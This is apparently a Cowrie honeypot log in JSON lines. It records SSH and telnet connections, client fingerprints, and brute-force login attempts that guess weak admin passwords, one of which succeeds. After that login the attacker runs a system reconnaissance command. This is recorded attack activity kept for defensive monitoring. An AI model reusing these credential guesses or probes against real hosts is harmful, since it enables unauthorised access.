{"eventid":"cowrie.session.connect","src_ip":"27.254.36.19","src_port":57604,"dst_ip":"159.203.135.109","dst_port":23,"session":"af6f904fc564","protocol":"telnet","message":"New connection: 27.254.36.19:57604 (159.203.135.109:23) [session: af6f904fc564]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:05:07.831165Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33520,"dst_ip":"159.203.135.109","dst_port":22,"session":"46aba098b1ef","protocol":"ssh","message":"New connection: 159.203.92.129:33520 (159.203.135.109:22) [session: 46aba098b1ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:05:18.393884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:05:18.398376Z","src_ip":"159.203.92.129","session":"46aba098b1ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:05:18.403265Z","src_ip":"159.203.92.129","session":"46aba098b1ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root_123","message":"login attempt [admin/root_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:05:18.414353Z","src_ip":"159.203.92.129","session":"46aba098b1ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:05:19.421140Z","src_ip":"159.203.92.129","session":"46aba098b1ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.389872312545776,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:05:38.220902Z","src_ip":"27.254.36.19","session":"af6f904fc564","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57914,"dst_ip":"159.203.135.109","dst_port":22,"session":"922ddcbcdc8d","protocol":"ssh","message":"New connection: 159.203.92.129:57914 (159.203.135.109:22) [session: 922ddcbcdc8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:06:03.619932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:06:03.640552Z","src_ip":"159.203.92.129","session":"922ddcbcdc8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:06:03.656483Z","src_ip":"159.203.92.129","session":"922ddcbcdc8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.254.36.19","src_port":51220,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b60af03ebca","protocol":"telnet","message":"New connection: 27.254.36.19:51220 (159.203.135.109:23) [session: 4b60af03ebca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:06:03.674485Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"rootadmin","message":"login attempt [admin/rootadmin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:06:03.757015Z","src_ip":"159.203.92.129","session":"922ddcbcdc8d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:06:03.841679Z","src_ip":"159.203.92.129","session":"922ddcbcdc8d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:06:03.845378Z","src_ip":"159.203.92.129","session":"922ddcbcdc8d","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:06:03.849677Z","src_ip":"159.203.92.129","session":"922ddcbcdc8d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:06:03.865316Z","src_ip":"159.203.92.129","session":"922ddcbcdc8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:06:03.870606Z","src_ip":"159.203.92.129","session":"922ddcbcdc8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":35603,"dst_ip":"10.17.0.5","dst_port":22,"session":"afaaabc241a0","protocol":"ssh","message":"New connection: 193.46.255.86:35603 (10.17.0.5:22) [session: afaaabc241a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:06:08.345622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:06:08.350329Z","src_ip":"193.46.255.86","session":"afaaabc241a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:06:08.491621Z","src_ip":"193.46.255.86","session":"afaaabc241a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adm","password":"123456","message":"login attempt [adm/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:06:09.129655Z","src_ip":"193.46.255.86","session":"afaaabc241a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adm","password":"abc123","message":"login attempt [adm/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:06:10.274101Z","src_ip":"193.46.255.86","session":"afaaabc241a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adm","password":"abcd123","message":"login attempt [adm/abcd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:06:11.418103Z","src_ip":"193.46.255.86","session":"afaaabc241a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adm","password":"abcd1234","message":"login attempt [adm/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:06:12.562267Z","src_ip":"193.46.255.86","session":"afaaabc241a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adm","password":"abc1234","message":"login attempt [adm/abc1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:06:13.705861Z","src_ip":"193.46.255.86","session":"afaaabc241a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:06:14.852025Z","src_ip":"193.46.255.86","session":"afaaabc241a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":22000,"dst_ip":"10.17.0.5","dst_port":22,"session":"35ff8974b324","protocol":"ssh","message":"New connection: 2.57.121.112:22000 (10.17.0.5:22) [session: 35ff8974b324]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:06:21.794446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:06:21.802026Z","src_ip":"2.57.121.112","session":"35ff8974b324","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:06:21.909771Z","src_ip":"2.57.121.112","session":"35ff8974b324","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"190592","message":"login attempt [admin/190592] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:06:22.404017Z","src_ip":"2.57.121.112","session":"35ff8974b324","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"190589","message":"login attempt [admin/190589] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:06:23.511544Z","src_ip":"2.57.121.112","session":"35ff8974b324","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"190588","message":"login attempt [admin/190588] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:06:24.619152Z","src_ip":"2.57.121.112","session":"35ff8974b324","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"190585","message":"login attempt [admin/190585] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:06:25.727805Z","src_ip":"2.57.121.112","session":"35ff8974b324","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"190578","message":"login attempt [admin/190578] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:06:26.834774Z","src_ip":"2.57.121.112","session":"35ff8974b324","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:06:27.942547Z","src_ip":"2.57.121.112","session":"35ff8974b324","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.559980630874634,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:06:34.234340Z","src_ip":"27.254.36.19","session":"4b60af03ebca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50642,"dst_ip":"159.203.135.109","dst_port":22,"session":"25f67635d6d4","protocol":"ssh","message":"New connection: 159.203.92.129:50642 (159.203.135.109:22) [session: 25f67635d6d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:06:48.693326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:06:48.698237Z","src_ip":"159.203.92.129","session":"25f67635d6d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:06:48.703796Z","src_ip":"159.203.92.129","session":"25f67635d6d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"rootbridge","message":"login attempt [admin/rootbridge] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:06:48.717642Z","src_ip":"159.203.92.129","session":"25f67635d6d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:06:49.724417Z","src_ip":"159.203.92.129","session":"25f67635d6d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.85.103","src_port":34958,"dst_ip":"159.203.135.109","dst_port":23,"session":"057c8918beb9","protocol":"telnet","message":"New connection: 206.189.85.103:34958 (159.203.135.109:23) [session: 057c8918beb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:07:22.863050Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42588,"dst_ip":"159.203.135.109","dst_port":22,"session":"16d30fd6f012","protocol":"ssh","message":"New connection: 159.203.92.129:42588 (159.203.135.109:22) [session: 16d30fd6f012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:07:33.381859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:07:33.387438Z","src_ip":"159.203.92.129","session":"16d30fd6f012","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:07:33.394088Z","src_ip":"159.203.92.129","session":"16d30fd6f012","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"rootcer","message":"login attempt [admin/rootcer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:07:33.408509Z","src_ip":"159.203.92.129","session":"16d30fd6f012","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:07:34.415545Z","src_ip":"159.203.92.129","session":"16d30fd6f012","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.254.36.19","src_port":44838,"dst_ip":"159.203.135.109","dst_port":23,"session":"561116425845","protocol":"telnet","message":"New connection: 27.254.36.19:44838 (159.203.135.109:23) [session: 561116425845]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:08:03.751373Z"}
